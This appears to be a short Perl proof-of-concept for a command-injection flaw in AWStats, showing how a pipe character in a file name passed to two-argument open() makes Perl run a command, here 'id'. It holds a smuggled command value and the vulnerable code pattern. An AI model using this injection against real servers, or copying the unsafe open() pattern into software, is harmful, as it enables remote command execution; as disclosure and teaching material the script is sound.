# Proof of Concept for CVE-2025-63261
# Demonstrates command injection via the open function in AWStats
use strict;
use warnings;
# Simulating vulnerable open function usage
# In a real scenario, $user_input comes from an untrusted source (e.g., HTTP parameter)
my $user_input = "/var/log/apache2/access.log | id |";
print "Attempting to open file with input: $user_input\n";
# Vulnerable code pattern: open(FILE, $user_input)
# If $user_input contains a pipe '|', Perl executes the command after it.
# This mimics the vulnerability in AWStats 8.0
if (open(my $fh, $user_input)) {
while (my $line = <$fh>) {
print $line;
}
close($fh);
} else {
print "Failed to open.\n";
}
# Expected output: The result of the 'id' command, indicating command execution.
